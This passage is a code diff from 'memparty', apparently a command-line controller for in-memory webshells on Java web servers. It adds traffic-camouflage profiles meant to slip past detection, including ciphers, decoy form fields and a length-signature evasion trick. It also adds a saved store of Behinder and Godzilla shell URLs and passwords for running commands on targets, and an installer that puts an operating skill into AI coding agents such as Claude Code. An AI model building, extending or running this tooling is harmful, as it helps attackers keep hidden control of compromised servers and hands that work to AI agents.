(`request: [...]`) — + * the client picks one at random per request, so the request shape varies + * the same way the response skins do. + */ +export interface ProfileRequest { + /** Field that carries the ciphertext (e.g. "verCode"). */ + secretField: string; + /** Where the ciphertext goes: form body (default), URL query, or a header. */ + secretIn?: "body" | "query" | "header"; + /** + * Body serialization when secretIn=body: "form" (default, url-encoded) or + * "json" (a JSON object with Content-Type application/json — for API sites + * whose dominant traffic is JSON XHR). Ignored when bodyTemplate is set. + */ + bodyStyle?: "form" | "json"; + /** + * Full request body with the literal placeholder `{{payload}}` where the + * ciphertext goes (takes precedence over bodyStyle; secretIn must be body). + * Any text format — an OpenAI-style chat JSON, a GraphQL envelope, an XML + * SOAP message, a multipart/form-data body (pair it with a Content-Type + * header carrying the same boundary). Decoy macros {{hex:N}}, {{b64:N}}, + * {{uuid}}, {{ts}}, {{int:A:B}} are rendered per request. + */ + bodyTemplate?: string; + /** Decoy fields sent alongside (e.g. csrftoken/j_username/agreement). */ + fields?: ProfileFormField[]; + /** Extra/override request headers for this shape (e.g. Accept). */ + headers?: Record<string, string>; + /** Relative rotation weight (default 1) when `request` is an array. */ + weight?: number; +} + +/** + * Infer the Content-Type a bodyTemplate implies when the shape doesn't set + * one explicitly in headers. The client sends this CT and the custom build + * derives the filter's body-read allowlist from the same inference — the + * two sides must agree, hence one shared helper. + */ +export function inferBodyTemplateContentType(bodyTemplate: string): string | null { + const t = bodyTemplate.trimStart(); + if (t.startsWith("--")) return "multipart/form-data"; + if (t.startsWith("{") || t.startsWith("[")) return "application/json"; + if (t.startsWith("<")) return "text/xml"; + return null; +} + +/** + * How the ciphertext is produced and hidden (the mimic codec menu). + * All fields optional — a profile without `cipher` speaks the original + * mimic wire format (aes-ecb + base64 + js-var marker). + * + * NOTE: the cipher is BAKED INTO the filter at `memparty custom build` + * time. Editing it in the profile afterwards means the client and the + * injected filter no longer match — rebuild and re-inject. + */ +export interface ProfileCipher { + /** Cipher for the payload: AES/ECB (legacy), AES/CBC with random IV, or cyclic XOR. */ + algorithm?: "aes-ecb" | "aes-cbc" | "xor"; + /** Text encoding of the ciphertext bytes. */ + encoding?: "base64" | "base64url" | "hex"; + /** + * Append key-derived-length (0-15) random alnum garbage after the encoded + * ciphertext — Behinder's aes_with_magic trick against length signatures. + */ + padTail?: boolean; + /** How the response hides the ciphertext inside the cover page. */ + marker?: "js-var" | "html-comment"; +} + +export interface SiteProfile { + name: string; + /** Origin the profile describes, e.g. "http://192.0.2.1:8080". */ + site: string; + createdAt: string; + /** Response skins; the server rotates among them per response. */ + templates?: ProfileTemplate[]; + /** Legacy single-template fields — accepted on load, normalized by profileTemplates(). */ + title?: string; + template?: string; + contentType?: string; + /** The site's path vocabulary, e.g. ["/api/", "/news/"]. */ + paths: string[]; + /** Request shape(s): one object, or an array the client rotates among. */ + request?: ProfileRequest | ProfileRequest[]; + /** Wire codec selection (baked into the filter at build time). */ + cipher?: ProfileCipher; +} + +/** The effective template list: `templates[]` if present, else the legacy single triple. */ +export function profileTemplates(profile: SiteProfile): ProfileTemplate[] { + if (Array.isArray(profile.templates) && profile.templates.length > 0) { + return profile.templates; + } + if (profile.template) { + return [ + { + title: profile.title ?? "", + template: profile.template, + contentType: profile.contentType ?? "text/html; charset=utf-8", + }, + ]; + } + return []; +} + +/** The effective request-shape list (empty when the profile has none). */ +export function profileRequests(profile: SiteProfile): ProfileRequest[] { + if (!profile.request) return []; + return Array.isArray(profile.request) ? profile.request : [profile.request]; +} + +/** Pick one request shape at random, honoring `weight` (default 1). */ +export function pickRequestShape(requests: ProfileRequest[]): ProfileRequest | undefined { + if (requests.length === 0) return undefined; + const total = requests.reduce((s, r) => s + (r.weight ?? 1), 0); + let roll = Math.random() * total; + for (const r of requests) { + roll -= r.weight ?? 1; + if (roll <= 0) return r; + } + return requests[requests.length - 1]!; +} + +const NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/; + +/** Where the ciphertext goes inside a cover template (any text format). */ +export const PAYLOAD_PLACEHOLDER = "{{payload}}"; + +export function profilesDir(): string { + const override = process.env.MEMPARTY_PROFILES; + return override ? override : join(homedir(), ".memparty", "profiles"); +} + +export function profilePath(name: string): string { + return join(profilesDir(), `${name}.json`); +} + +/** Throw a descriptive error on any schema problem. */ +export function validateProfile(profile: SiteProfile): void { + if (!NAME_RE.test(profile.name)) { + throw new Error( + `invalid profile name ${JSON.stringify(profile.name)} — use letters, digits, '.', '_', '-'`, + ); + } + if (!profile.site || !/^https?:\/\//.test(profile.site)) { + throw new Error(`profile.site must be an http(s) origin (got ${JSON.stringify(profile.site)})`); + } + const templates = profileTemplates(profile); + if (templates.length === 0) { + throw new Error("profile needs at least one template (templates[] or legacy template)"); + } + templates.forEach((t, i) => { + // a {{payload}} placeholder makes any text format usable; without it the + // template must be an HTML page (the marker fragment needs </body>) + if (!t.template || (!t.template.includes(PAYLOAD_PLACEHOLDER) && !/<!doctype\s+html|<html|<head/i.test(t.template))) { + throw new Error( + `templates[${i}].template must be a full HTML page, or carry the ${PAYLOAD_PLACEHOLDER} placeholder (any text format)`, + ); + } + if (!t.contentType) { + throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`); + } + }); + if (!Array.isArray(profile.paths)) { + throw new Error("profile.paths must be an array (may be empty)"); + } + for (const [ri, req] of profileRequests(profile).entries()) { + if (!req.secretField || !/^[A-Za-z0-9_.-]+$/.test(req.secretField)) { + throw new Error(`request[${ri}].secretField must be a form-field name`); + } + if (req.secretIn !== undefined && !["body", "query", "header"].includes(req.secretIn)) { + throw new Error(`request[${ri}].secretIn must be body | query | header`); + } + if (req.bodyStyle !== undefined && !["form", "json"].includes(req.bodyStyle)) { + throw new Error(`request[${ri}].bodyStyle must be form | json`); + } + if (req.bodyTemplate !== undefined) { + if (!req.bodyTemplate.includes(PAYLOAD_PLACEHOLDER)) { + throw new Error(`request[${ri}].bodyTemplate must carry the ${PAYLOAD_PLACEHOLDER} placeholder`); + } + if (req.secretIn !== undefined && req.secretIn !== "body") { + throw new Error(`request[${ri}].bodyTemplate only applies to secretIn=body`); + } + } + if (req.headers !== undefined) { + for (const [k, v] of Object.entries(req.headers)) { + if (typeof v !== "string" || !k) { + throw new Error(`request[${ri}].headers must be a string map`); + } + } + } + for (const [i, f] of (req.fields ?? []).entries()) { + if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) { + throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`); + } + if (f.name === req.secretField) { + throw new Error(`request[${ri}].fields[${i}] duplicates secretField`); + } + } + } + if (profile.cipher !== undefined) { + const c = profile.cipher; + if (c.algorithm !== undefined && !["aes-ecb", "aes-cbc", "xor"].includes(c.algorithm)) { + throw new Error(`cipher.algorithm must be aes-ecb | aes-cbc | xor (got ${JSON.stringify(c.algorithm)})`); + } + if (c.encoding !== undefined && !["base64", "base64url", "hex"].includes(c.encoding)) { + throw new Error(`cipher.encoding must be base64 | base64url | hex (got ${JSON.stringify(c.encoding)})`); + } + if (c.marker !== undefined && !["js-var", "html-comment"].includes(c.marker)) { + throw new Error(`cipher.marker must be js-var | html-comment (got ${JSON.stringify(c.marker)})`); + } + if (c.padTail !== undefined && typeof c.padTail !== "boolean") { + throw new Error("cipher.padTail must be a boolean"); + } + } +} + +export function saveProfile(profile: SiteProfile): void { + validateProfile(profile); + const dir = profilesDir(); + mkdirSync(dir, { recursive: true }); + writeFileSync(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}\n`, "utf8"); +} + +export function loadProfile(name: string): SiteProfile { + const path = profilePath(name); + if (!existsSync(path)) { + throw new Error( + `unknown profile ${JSON.stringify(name)} — scaffold one with 'memparty profile init ${name} --site <origin>' ` + + `and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`, + ); + } + const profile = JSON.parse(readFileSync(path, "utf8")) as SiteProfile; + validateProfile(profile); + return profile; +} + +export function listProfiles(): string[] { + const dir = profilesDir(); + if (!existsSync(dir)) return []; + return readdirSync(dir) + .filter((f) => f.endsWith(".json")) + .map((f) => f.slice(0, -".json".length)) + .sort(); +} + +/** An empty-but-valid skeleton for hand-authoring (`memparty profile init`). */ +export function profileSkeleton(name: string, site: string): SiteProfile { + return { + name, + site: site.replace(/\/+$/, ""), + createdAt: new Date().toISOString(), + templates: [ + { + title: "", + template: "<!DOCTYPE html>\n<html>\n<head>\n<meta charset=\"UTF-8\">\n<title>\n\n\n\n\n", + contentType: "text/html; charset=utf-8", + }, + ], + paths: [], + }; +} diff --git a/tools/cli/src/core/skill-install.test.ts b/tools/cli/src/core/skill-install.test.ts new file mode 100644 index 00000000..40697aa0 --- /dev/null +++ b/tools/cli/src/core/skill-install.test.ts @@ -0,0 +1,62 @@ +import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +import { afterEach, beforeEach, describe, expect, it } from "vitest"; + +import { installSkill, skillSourceDir, skillTargetDir } from "./skill-install.js"; + +let dir: string; +let src: string; + +beforeEach(() => { + dir = mkdtempSync(join(tmpdir(), "memparty-skill-")); + src = join(dir, "fake-skill-src"); + mkdirSync(src, { recursive: true }); + writeFileSync(join(src, "SKILL.md"), "# fake skill v1\n", "utf8"); + writeFileSync(join(src, "extra.txt"), "extra\n", "utf8"); +}); + +afterEach(() => { + rmSync(dir, { recursive: true, force: true }); +}); + +describe("skillTargetDir", () => { + it("maps scopes to the agents' skill directories", () => { + expect(skillTargetDir("user")).toContain(join(".agents", "skills", "memshell-party")); + expect(skillTargetDir("claude")).toContain(join(".claude", "skills", "memshell-party")); + expect(skillTargetDir("project", "/x/proj")).toBe(join("/x/proj", "skills", "memshell-party")); + }); +}); + +describe("skillSourceDir", () => { + it("finds the bundled skill in the repo layout", () => { + const p = skillSourceDir(); + expect(p).toContain(join("skills", "memshell-party")); + expect(readFileSync(join(p, "SKILL.md"), "utf8")).toContain("name: memshell-party"); + }); +}); + +describe("installSkill", () => { + it("copies the skill into the target dir and reports the files", () => { + const [result] = installSkill(["project"], { projectDir: dir, sourceDir: src }); + expect(result!.dir).toBe(join(dir, "skills", "memshell-party")); + expect(result!.files).toEqual(["SKILL.md", "extra.txt"]); + expect(readFileSync(join(result!.dir, "SKILL.md"), "utf8")).toBe("# fake skill v1\n"); + }); + + it("overwrites a previous install (upgrade path)", () => { + installSkill(["project"], { projectDir: dir, sourceDir: src }); + writeFileSync(join(src, "SKILL.md"), "# fake skill v2\n", "utf8"); + const [result] = installSkill(["project"], { projectDir: dir, sourceDir: src }); + expect(readFileSync(join(result!.dir, "SKILL.md"), "utf8")).toBe("# fake skill v2\n"); + }); + + it("installs into multiple scopes in one call", () => { + const results = installSkill(["project", "project"], { + projectDir: dir, + sourceDir: src, + }); + expect(results).toHaveLength(2); + }); +}); diff --git a/tools/cli/src/core/skill-install.ts b/tools/cli/src/core/skill-install.ts new file mode 100644 index 00000000..46524fd2 --- /dev/null +++ b/tools/cli/src/core/skill-install.ts @@ -0,0 +1,72 @@ +/** + * Install the bundled agent skill (`skills/memshell-party/SKILL.md`, shipped + * in the npm package) into an agent's skill directory — `memparty skill + * install`. Three scopes: + * + * user ~/.agents/skills/memshell-party (Kimi Code and compatible) + * claude ~/.claude/skills/memshell-party (Claude Code) + * project /skills/memshell-party (project-local, default cwd) + * + * The copy is a full overwrite — installing again after a CLI upgrade + * refreshes the skill to the installed version. + */ +import { cpSync, existsSync, mkdirSync, readdirSync } from "node:fs"; +import { homedir } from "node:os"; +import { join } from "node:path"; +import { fileURLToPath } from "node:url"; + +export type SkillScope = "user" | "claude" | "project"; + +export const SKILL_NAME = "memshell-party"; + +/** Locate the bundled skill directory (handles both src/ and dist/ layouts). */ +export function skillSourceDir(): string { + const candidates = [ + new URL(`../skills/${SKILL_NAME}`, import.meta.url), // dist/*.js + new URL(`../../skills/${SKILL_NAME}`, import.meta.url), // src/core/*.ts + ]; + for (const candidate of candidates) { + const p = fileURLToPath(candidate); + if (existsSync(p)) return p; + } + throw new Error(`bundled skill not found (expected skills/${SKILL_NAME} in the package)`); +} + +export function skillTargetDir(scope: SkillScope, projectDir?: string): string { + switch (scope) { + case "user": + return join(homedir(), ".agents", "skills", SKILL_NAME); + case "claude": + return join(homedir(), ".claude", "skills", SKILL_NAME); + case "project": + return join(projectDir ?? process.cwd(), "skills", SKILL_NAME); + } +} + +export interface SkillInstallResult { + scope: SkillScope; + dir: string; + /** Top-level entries after the copy. */ + files: string[]; +} + +export interface InstallSkillOptions { + /** Base dir for project scope (default: cwd). */ + projectDir?: string; + /** Override the bundled skill source (tests). */ + sourceDir?: string; +} + +/** Copy the bundled skill into each scope's directory. Overwrites. */ +export function installSkill( + scopes: SkillScope[], + opts: InstallSkillOptions = {}, +): SkillInstallResult[] { + const src = opts.sourceDir ?? skillSourceDir(); + return scopes.map((scope) => { + const dir = skillTargetDir(scope, opts.projectDir); + mkdirSync(dir, { recursive: true }); + cpSync(src, dir, { recursive: true }); + return { scope, dir, files: readdirSync(dir).sort() }; + }); +} diff --git a/tools/cli/src/core/targets.test.ts b/tools/cli/src/core/targets.test.ts new file mode 100644 index 00000000..2870c1f8 --- /dev/null +++ b/tools/cli/src/core/targets.test.ts @@ -0,0 +1,192 @@ +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +import { afterEach, beforeEach, describe, expect, it } from "vitest"; + +import { + autoSaveShell, + getProject, + listProjects, + removeProject, + removeShell, + resolveConnection, + saveProjectMeta, + saveShell, + saveShellMeta, +} from "./targets.js"; + +let dir: string; + +beforeEach(() => { + dir = mkdtempSync(join(tmpdir(), "memparty-targets-")); + process.env.MEMPARTY_TARGETS = join(dir, "targets.json"); +}); + +afterEach(() => { + delete process.env.MEMPARTY_TARGETS; + rmSync(dir, { recursive: true, force: true }); +}); + +const shell = { + url: "http://192.0.2.1/shell.jsp", + tool: "behinder" as const, + pass: "rebeyond", + headerName: "User-Agent", + headerValue: "gate123", +}; + +describe("target store", () => { + it("saves and lists projects with shells", () => { + saveShell("web1", "bh9060", shell); + saveShell("web1", "gdz8080", { ...shell, tool: "godzilla", key: "key" }); + saveShell("lab", "s1", shell); + + const projects = listProjects(); + expect(Object.keys(projects).sort()).toEqual(["lab", "web1"]); + expect(Object.keys(projects["web1"]!.shells).sort()).toEqual(["bh9060", "gdz8080"]); + }); + + it("keeps createdAt when overwriting a shell", () => { + const first = saveShell("p", "s", shell); + const second = saveShell("p", "s", { ...shell, pass: "newpass" }); + expect(second.createdAt).toBe(first.createdAt); + expect(second.pass).toBe("newpass"); + expect(getProject("p")!.shells["s"]!.pass).toBe("newpass"); + }); + + it("merges project remark/category and clears them on empty string", () => { + saveShell("p", "s", shell); + saveProjectMeta("p", { remark: "内网测试", category: "test" }); + expect(getProject("p")!.remark).toBe("内网测试"); + saveProjectMeta("p", { category: "prod" }); + expect(getProject("p")!.remark).toBe("内网测试"); // untouched + expect(getProject("p")!.category).toBe("prod"); + saveProjectMeta("p", { remark: "", category: "" }); + expect(getProject("p")!.remark).toBeUndefined(); + expect(getProject("p")!.category).toBeUndefined(); + }); + + it("stores a shell remark, preserves it on overwrite, clears via meta", () => { + saveShell("p", "s", { ...shell, remark: "DMZ 跳板" }); + expect(getProject("p")!.shells["s"]!.remark).toBe("DMZ 跳板"); + // overwrite without remark -> old remark kept + saveShell("p", "s", { ...shell, pass: "newpass" }); + expect(getProject("p")!.shells["s"]!.remark).toBe("DMZ 跳板"); + // overwrite with a new remark -> replaced + saveShell("p", "s", { ...shell, remark: "新备注" }); + expect(getProject("p")!.shells["s"]!.remark).toBe("新备注"); + // clear via meta + saveShellMeta("p", "s", { remark: "" }); + expect(getProject("p")!.shells["s"]!.remark).toBeUndefined(); + expect(() => saveShellMeta("p", "nope", { remark: "x" })).toThrow(/unknown shell/); + }); + + it("removes shells and projects", () => { + saveShell("p", "s1", shell); + saveShell("p", "s2", shell); + expect(removeShell("p", "s1")).toBe(true); + expect(removeShell("p", "nope")).toBe(false); + expect(Object.keys(getProject("p")!.shells)).toEqual(["s2"]); + expect(removeProject("p")).toBe(true); + expect(removeProject("p")).toBe(false); + expect(listProjects()).toEqual({}); + }); + + it("rejects invalid names", () => { + expect(() => saveShell("bad name", "s", shell)).toThrow(/invalid project name/); + expect(() => saveShell("p", "bad/name", shell)).toThrow(/invalid shell name/); + }); +}); + +describe("resolveConnection", () => { + it("resolves a full project/shell reference", () => { + saveShell("web1", "bh9060", shell); + const conn = resolveConnection("web1/bh9060", {}); + expect(conn.url).toBe(shell.url); + expect(conn.tool).toBe("behinder"); + expect(conn.pass).toBe("rebeyond"); + expect(conn.headerValue).toBe("gate123"); + expect(conn.targetName).toBe("web1/bh9060"); + }); + + it("resolves a bare project holding exactly one shell", () => { + saveShell("web1", "only", shell); + const conn = resolveConnection("web1", {}); + expect(conn.targetName).toBe("web1/only"); + }); + + it("asks for a shell when a bare project holds several", () => { + saveShell("web1", "a", shell); + saveShell("web1", "b", shell); + expect(() => resolveConnection("web1", {})).toThrow(/pick one: web1\/a, web1\/b/); + }); + + it("lets explicit flags override stored values", () => { + saveShell("web1", "bh9060", shell); + const conn = resolveConnection("web1/bh9060", { pass: "override", headerValue: "h2" }); + expect(conn.pass).toBe("override"); + expect(conn.headerValue).toBe("h2"); + expect(conn.headerName).toBe("User-Agent"); + }); + + it("throws for unknown projects and shells", () => { + saveShell("web1", "a", shell); + expect(() => resolveConnection("nope", {})).toThrow(/unknown project/); + expect(() => resolveConnection("web1/nope", {})).toThrow(/unknown shell/); + }); + + it("falls back to pure flags without a stored target", () => { + const conn = resolveConnection(undefined, { url: "http://x/s.jsp", tool: "godzilla" }); + expect(conn.url).toBe("http://x/s.jsp"); + expect(conn.targetName).toBeUndefined(); + expect(() => resolveConnection(undefined, { tool: "godzilla" })).toThrow(/no URL/); + expect(() => resolveConnection(undefined, { url: "http://x" })).toThrow(/--tool is required/); + }); +}); + +describe("autoSaveShell", () => { + const conn = { + url: "http://192.0.2.1:8080/shell.jsp", + tool: "behinder" as const, + pass: "rebeyond", + headerName: "User-Agent", + headerValue: "gate123", + extraHeaders: {}, + }; + + it("derives / and resolves afterwards", () => { + const name = autoSaveShell(conn); + expect(name).toBe("192.0.2.1/behinder"); + const resolved = resolveConnection("192.0.2.1", {}); + expect(resolved.url).toBe(conn.url); + expect(resolved.pass).toBe("rebeyond"); + expect(resolved.headerValue).toBe("gate123"); + }); + + it("overwrites when the same URL is saved again", () => { + autoSaveShell(conn); + const name = autoSaveShell({ ...conn, pass: "newpass" }); + expect(name).toBe("192.0.2.1/behinder"); + expect(Object.keys(getProject("192.0.2.1")!.shells)).toEqual(["behinder"]); + expect(getProject("192.0.2.1")!.shells["behinder"]!.pass).toBe("newpass"); + }); + + it("suffixes a different URL on the same host+tool", () => { + autoSaveShell(conn); + const name = autoSaveShell({ ...conn, url: "http://192.0.2.1:8080/other.jsp" }); + expect(name).toBe("192.0.2.1/behinder-8080"); + }); + + it("keeps tools separated on the same host", () => { + autoSaveShell(conn); + const name = autoSaveShell({ ...conn, tool: "godzilla" }); + expect(name).toBe("192.0.2.1/godzilla"); + }); + + it("sanitizes odd hostnames", () => { + const name = autoSaveShell({ ...conn, url: "http://[::1]:9000/s.jsp" }); + expect(name).toMatch(/^[A-Za-z0-9][A-Za-z0-9._-]*\/[A-Za-z0-9][A-Za-z0-9._-]*$/); + expect(resolveConnection(name, {}).url).toBe("http://[::1]:9000/s.jsp"); + }); +}); diff --git a/tools/cli/src/core/targets.ts b/tools/cli/src/core/targets.ts new file mode 100644 index 00000000..d1661f5e --- /dev/null +++ b/tools/cli/src/core/targets.ts @@ -0,0 +1,314 @@ +/** + * Named shell targets persisted to a JSON file, so a shell's URL + + * credentials + gate header are saved once and later referenced by name: + * memparty exec web1/bh9060 --cmd "whoami" + * + * A **project** groups several shells that belong to one engagement, with + * an optional remark and category. A shell reference is `/`; + * a bare project name resolves when it holds exactly one shell. + * + * Store location: ~/.memparty/targets.json (override with MEMPARTY_TARGETS). + */ +import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; +import { homedir } from "node:os"; +import { dirname, join } from "node:path"; + +import type { ConnectTool } from "../connect/types.js"; + +/** A saved shell connection profile, stored inside a project. */ +export interface StoredShell { + url: string; + tool: ConnectTool; + pass?: string; + key?: string; + headerName?: string; + headerValue?: string; + extraHeaders?: Record; + insecure?: boolean; + /** mimic protocol: site profile name (see 'memparty profile'). */ + profile?: string; + /** Free-form note for this shell (e.g. "DMZ 跳板机"). */ + remark?: string; + createdAt: string; + updatedAt: string; +} + +export type ShellInput = Omit; + +/** A named group of shells with a remark and a category. */ +export interface StoredProject { + remark?: string; + category?: string; + createdAt: string; + updatedAt: string; + shells: Record; +} + +const NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/; + +function checkName(kind: string, name: string): void { + if (!NAME_RE.test(name)) { + throw new Error( + `invalid ${kind} name ${JSON.stringify(name)} — use letters, digits, '.', '_', '-'`, + ); + } +} + +export function targetStorePath(): string { + return process.env.MEMPARTY_TARGETS ?? join(homedir(), ".memparty", "targets.json"); +} + +export function listProjects(): Record { + try { + const file = targetStorePath(); + if (!existsSync(file)) return {}; + const data: unknown = JSON.parse(readFileSync(file, "utf8")); + if (data !== null && typeof data === "object" && !Array.isArray(data)) { + return data as Record; + } + } catch { + // corrupted store — treat as empty rather than crash the CLI + } + return {}; +} + +export function getProject(name: string): StoredProject | null { + return listProjects()[name] ?? null; +} + +function writeProjects(projects: Record): void { + const file = targetStorePath(); + mkdirSync(dirname(file), { recursive: true }); + writeFileSync(file, `${JSON.stringify(projects, null, 2)}\n`, { mode: 0o600 }); +} + +/** Create a project or update its remark/category (only given fields change). */ +export function saveProjectMeta( + name: string, + meta: { remark?: string; category?: string }, +): StoredProject { + checkName("project", name); + const projects = listProjects(); + const now = new Date().toISOString(); + const existing = projects[name]; + const norm = (v: string | undefined) => (v ? v : undefined); + const project: StoredProject = { + remark: meta.remark !== undefined ? norm(meta.remark) : existing?.remark, + category: meta.category !== undefined ? norm(meta.category) : existing?.category, + createdAt: existing?.createdAt ?? now, + updatedAt: now, + shells: existing?.shells ?? {}, + }; + projects[name] = project; + writeProjects(projects); + return project; +} + +/** Save a shell under `/`; creates the project if needed. */ +export function saveShell(projectName: string, shellName: string, input: ShellInput): StoredShell { + checkName("project", projectName); + checkName("shell", shellName); + const projects = listProjects(); + const now = new Date().toISOString(); + const project = projects[projectName] ?? { + createdAt: now, + updatedAt: now, + shells: {}, + }; + const existing = project.shells[shellName]; + const stored: StoredShell = { + ...input, + // remark is merged (empty string clears); other fields are overwritten + remark: input.remark !== undefined ? input.remark || undefined : existing?.remark, + createdAt: existing?.createdAt ?? now, + updatedAt: now, + }; + project.shells[shellName] = stored; + project.updatedAt = now; + projects[projectName] = project; + writeProjects(projects); + return stored; +} + +/** Remove a whole project. Returns false when it did not exist. */ +export function removeProject(name: string): boolean { + const projects = listProjects(); + if (!(name in projects)) return false; + delete projects[name]; + writeProjects(projects); + return true; +} + +/** Remove one shell from a project. Returns false when it did not exist. */ +export function removeShell(projectName: string, shellName: string): boolean { + const projects = listProjects(); + const project = projects[projectName]; + if (!project || !(shellName in project.shells)) return false; + delete project.shells[shellName]; + project.updatedAt = new Date().toISOString(); + writeProjects(projects); + return true; +} + +/** Set or clear (empty string) a shell's remark. */ +export function saveShellMeta( + projectName: string, + shellName: string, + meta: { remark?: string }, +): StoredShell { + const projects = listProjects(); + const shell = projects[projectName]?.shells[shellName]; + if (!shell) { + throw new Error(`unknown shell ${JSON.stringify(`${projectName}/${shellName}`)}`); + } + if (meta.remark !== undefined) { + shell.remark = meta.remark || undefined; + } + const now = new Date().toISOString(); + shell.updatedAt = now; + projects[projectName]!.updatedAt = now; + writeProjects(projects); + return shell; +} + +/** CLI/MCP flags that can override a stored shell's values. */ +export interface ConnectionFlags { + url?: string; + tool?: string; + pass?: string; + key?: string; + headerName?: string; + headerValue?: string; + extraHeaders?: Record; + insecure?: boolean; + profile?: string; +} + +export interface ResolvedConnection { + url: string; + tool: ConnectTool; + pass?: string; + key?: string; + headerName?: string; + headerValue?: string; + extraHeaders: Record; + insecure?: boolean; + /** mimic protocol: site profile name. */ + profile?: string; + /** Canonical `project/shell` reference, when resolved from the store. */ + targetName?: string; +} + +function sanitizeName(name: string): string { + const s = name.replace(/[^A-Za-z0-9._-]/g, "_"); + return /^[A-Za-z0-9]/.test(s) ? s : `x${s}`; +} + +/** + * Auto-save a verified connection under a derived `/` name and + * return the canonical reference. A slot already pointing at the same URL is + * overwritten; a name taken by a different URL gets a numeric/port suffix. + */ +export function autoSaveShell(conn: ResolvedConnection): string { + let host = "target"; + let port = ""; + try { + const u = new URL(conn.url); + host = u.hostname || host; + port = u.port; + } catch { + // keep the fallback name + } + const projectName = sanitizeName(host) || "target"; + const existing = getProject(projectName)?.shells ?? {}; + + let shellName = Object.keys(existing).find( + (n) => existing[n]!.url === conn.url && existing[n]!.tool === conn.tool, + ); + if (!shellName) { + const base = sanitizeName(conn.tool) || "shell"; + shellName = base; + if (existing[shellName]) shellName = port ? `${base}-${port}` : `${base}-2`; + for (let i = 2; existing[shellName]; i++) shellName = `${base}-${i}`; + } + + saveShell(projectName, shellName, { + url: conn.url, + tool: conn.tool, + pass: conn.pass, + key: conn.key, + headerName: conn.headerName, + headerValue: conn.headerValue, + extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : undefined, + insecure: conn.insecure, + profile: conn.profile, + }); + return `${projectName}/${shellName}`; +} + +/** + * Merge an optional saved shell reference (`/` or a bare + * project holding exactly one shell) with explicit flags. + * Priority: explicit flag > stored value. + */ +export function resolveConnection( + ref: string | undefined, + flags: ConnectionFlags, +): ResolvedConnection { + let stored: StoredShell | undefined; + let targetName: string | undefined; + + if (ref) { + const slash = ref.indexOf("/"); + const projectName = slash === -1 ? ref : ref.slice(0, slash); + let shellName = slash === -1 ? undefined : ref.slice(slash + 1); + + const project = getProject(projectName); + if (!project) { + throw new Error(`unknown project ${JSON.stringify(projectName)} — see 'memparty list'`); + } + if (!shellName) { + const names = Object.keys(project.shells); + if (names.length === 0) { + throw new Error(`project ${JSON.stringify(projectName)} has no shells yet`); + } + if (names.length > 1) { + throw new Error( + `project ${JSON.stringify(projectName)} has ${names.length} shells — pick one: ` + + names.map((n) => `${projectName}/${n}`).join(", "), + ); + } + shellName = names[0]!; + } + stored = project.shells[shellName]; + if (!stored) { + const known = Object.keys(project.shells); + throw new Error( + `unknown shell ${JSON.stringify(ref)} — project ${JSON.stringify(projectName)} has: ` + + (known.length > 0 ? known.join(", ") : "(none)"), + ); + } + targetName = `${projectName}/${shellName}`; + } + + const tool = (flags.tool ?? stored?.tool) as ConnectTool | undefined; + const url = flags.url ?? stored?.url; + if (!url) { + throw new Error("no URL — pass --url or a saved target name"); + } + if (!tool) { + throw new Error("--tool is required — see the command's --help for available protocols"); + } + return { + url, + tool, + pass: flags.pass ?? stored?.pass, + key: flags.key ?? stored?.key, + headerName: flags.headerName ?? stored?.headerName, + headerValue: flags.headerValue ?? stored?.headerValue, + extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders }, + insecure: flags.insecure ?? stored?.insecure, + profile: flags.profile ?? stored?.profile, + targetName, + }; +} diff --git a/tools/cli/src/custom/build.test.ts b/tools/cli/src/custom/build.test.ts new file mode 100644 index 00000000..b0f0ee73 --- /dev/null +++ b/tools/cli/src/custom/build.test.ts @@ -0,0 +1,183 @@ +import { mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +import { afterEach, beforeEach, describe, expect, it } from "vitest"; + +import type { MemShellGenerateRequest, MemShellGenerateResponse } from "../api/index.js"; +import { LEGACY_CIPHER } from "../connect/mimic-codecs.js"; +import type { SiteProfile } from "../core/site-profile.js"; +import { + buildCustomMemshell, + defaultClassName, + profileSecretFields, + type GenerateClient, +} from "./build.js"; + +const profile: SiteProfile = { + name: "unit", + site: "http://127.0.0.1", + createdAt: new Date().toISOString(), + templates: [{ title: "t", template: "cover", contentType: "text/html" }], + paths: [], + request: [{ secretField: "verCode" }, { secretField: "X-Token", secretIn: "header" }], +}; + +function fakeClient(captured: { req?: MemShellGenerateRequest }): GenerateClient { + return { + async generateMemShell(req: MemShellGenerateRequest): Promise { + captured.req = req; + return { + memShellResult: { + shellClassName: req.shellToolConfig.shellClassName!, + shellSize: 100, + shellBytesBase64Str: "AA==", + injectorClassName: "com.example.Injector1", + injectorSize: 200, + injectorBytesBase64Str: "AA==", + shellConfig: req.shellConfig, + shellToolConfig: req.shellToolConfig, + injectorConfig: req.injectorConfig, + }, + packResult: "UEFZTE9BRA==", + }; + }, + }; +} + +/** Stub javac: drop a fake .class next to the .java source (plus the wrapper's stream class). */ +function stubCompile(sources: string[]): void { + for (const src of sources) { + writeFileSync(src.replace(/\.java$/, ".class"), Buffer.from("CAFEBABE-fake-class")); + if (src.endsWith("CachedBody.java")) { + writeFileSync(src.replace(/\.java$/, "$Stream.class"), Buffer.from("CAFEBABE-fake-stream")); + } + } +} + +describe("profileSecretFields", () => { + it("collects the unique carrier fields from all request shapes", () => { + expect(profileSecretFields(profile)).toEqual(["verCode", "X-Token"]); + }); + + it("falls back to 'pass' without request shapes", () => { + expect(profileSecretFields({ ...profile, request: undefined })).toEqual(["pass"]); + }); +}); + +describe("defaultClassName", () => { + it("is a valid Java identifier with a random suffix", () => { + expect(defaultClassName()).toMatch(/^MimicFilter[A-Za-z0-9]{4}$/); + expect(defaultClassName()).not.toBe(defaultClassName()); + }); +}); + +describe("buildCustomMemshell", () => { + let dir: string; + 